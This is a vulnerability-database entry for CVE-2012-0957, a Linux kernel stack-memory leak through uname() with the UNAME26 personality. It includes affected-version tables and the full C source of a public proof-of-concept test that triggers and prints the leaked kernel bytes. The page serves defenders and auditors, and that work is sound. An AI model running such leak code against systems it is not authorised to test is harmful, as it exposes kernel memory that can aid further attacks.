CVE-2012-0957

medium
Published 2012-12-21 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
5.9

Description

The override_release function in kernel/sys.c in the Linux kernel before 3.4.16 allows local users to obtain sensitive information from kernel stack memory via a uname system call in conjunction with a UNAME26 personality.

Predictions

Exploit likelihood
55%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37937 local linux verified c ยท 1 KB
Brad Spengler ยท 2012-10-09

Linux Kernel 3.2.x - 'uname()' System Call Local Information Disclosure

c exploit Source: Exploit-DB
/*
source: https://www.securityfocus.com/bid/55855/info

The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 
*/

/* Test for UNAME26 personality uname kernel stack leak.
 * Copyright 2012, Kees Cook <keescook@chromium.org>
 * License: GPLv3
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/utsname.h>

#define UNAME26 0x0020000

int dump_uts(void)
{
	int i, leaked = 0;
	struct utsname buf = { };

	if (uname(&buf)) {
		perror("uname");
		exit(1);
	}
	printf("%s\n", buf.release);

	for (i = strlen(buf.release) + 1; i < sizeof(buf.release); i++) {
		unsigned char c = (unsigned char)buf.release[i];

		printf("%02x", c);
		if (c)
			leaked = 1;
	}
	printf("\n");

	return leaked ? (i - (strlen(buf.release) + 1)) : 0;
}

int main(int ac, char **av)
{
	int leaked;

	leaked = dump_uts();
	if (leaked) {
		printf("Leaked %d bytes even without UNAME26!?\n", leaked);
		return 1;
	}


	if (personality(PER_LINUX | UNAME26) < 0) {
		perror("personality");
		exit(1);
	}

	leaked = dump_uts();
	if (leaked) {
		printf("Leaked %d bytes!\n", leaked);
		return 1;
	} else {
		printf("Seems safe.\n");
		return 0;
	}
}

OS impact

linux Linux kernel Affected 108 releases
VersionStatusFixed in
3.4.14 Affected โ€”
3.4.13 Affected โ€”
3.4.12 Affected โ€”
3.4.11 Affected โ€”
3.4.10 Affected โ€”
3.4.5 Affected โ€”
3.4.4 Affected โ€”
3.4.3 Affected โ€”
3.4.2 Affected โ€”
3.4.1 Affected โ€”
3.4 Affected โ€”
3.3.8 Affected โ€”
3.3.7 Affected โ€”
3.3.6 Affected โ€”
3.3.5 Affected โ€”
3.3.4 Affected โ€”
3.3.3 Affected โ€”
3.3.2 Affected โ€”
3.3.1 Affected โ€”
3.3 Affected โ€”
3.2.30 Affected โ€”
3.2.29 Affected โ€”
3.2.28 Affected โ€”
3.2.27 Affected โ€”
3.2.26 Affected โ€”
3.2.25 Affected โ€”
3.2.24 Affected โ€”
3.2.23 Affected โ€”
3.2.22 Affected โ€”
3.2.21 Affected โ€”
3.2.20 Affected โ€”
3.2.19 Affected โ€”
3.2.18 Affected โ€”
3.2.17 Affected โ€”
3.2.16 Affected โ€”
3.2.15 Affected โ€”
3.2.14 Affected โ€”
3.2.13 Affected โ€”
3.2.12 Affected โ€”
3.2.11 Affected โ€”
3.2.10 Affected โ€”
3.2.9 Affected โ€”
3.2.8 Affected โ€”
3.2.7 Affected โ€”
3.2.6 Affected โ€”
3.2.5 Affected โ€”
3.2.4 Affected โ€”
3.2.3 Affected โ€”
3.2.2 Affected โ€”
3.2.1 Affected โ€”
3.2 Affected โ€”
3.1.10 Affected โ€”
3.1.9 Affected โ€”
3.1.8 Affected โ€”
3.1.7 Affected โ€”
3.1.6 Affected โ€”
3.1.5 Affected โ€”
3.1.4 Affected โ€”
3.1.3 Affected โ€”
3.1.2 Affected โ€”
3.1.1 Affected โ€”
3.1 Affected โ€”
3.0.44 Affected โ€”
3.0.43 Affected โ€”
3.0.42 Affected โ€”
3.0.41 Affected โ€”
3.0.40 Affected โ€”
3.0.39 Affected โ€”
3.0.38 Affected โ€”
3.0.37 Affected โ€”
3.0.36 Affected โ€”
3.0.35 Affected โ€”
3.0.34 Affected โ€”
3.0.33 Affected โ€”
3.0.32 Affected โ€”
3.0.31 Affected โ€”
3.0.30 Affected โ€”
3.0.29 Affected โ€”
3.0.28 Affected โ€”
3.0.27 Affected โ€”
3.0.26 Affected โ€”
3.0.25 Affected โ€”
3.0.24 Affected โ€”
3.0.23 Affected โ€”
3.0.22 Affected โ€”
3.0.21 Affected โ€”
3.0.20 Affected โ€”
3.0.19 Affected โ€”
3.0.18 Affected โ€”
3.0.17 Affected โ€”
3.0.16 Affected โ€”
3.0.15 Affected โ€”
3.0.14 Affected โ€”
3.0.13 Affected โ€”
3.0.12 Affected โ€”
3.0.11 Affected โ€”
3.0.10 Affected โ€”
3.0.9 Affected โ€”
3.0.8 Affected โ€”
3.0.7 Affected โ€”
3.0.6 Affected โ€”
3.0.5 Affected โ€”
3.0.4 Affected โ€”
3.0.3 Affected โ€”
3.0.2 Affected โ€”
3.0.1 Affected โ€”
3.0 Affected โ€”
โ€” Affected โ€”
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 3.2.32-1
sid Fixed 3.2.32-1
forky Fixed 3.2.32-1
bullseye Fixed 3.2.32-1
bookworm Fixed 3.2.32-1

References

CWEs

CWE-16

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.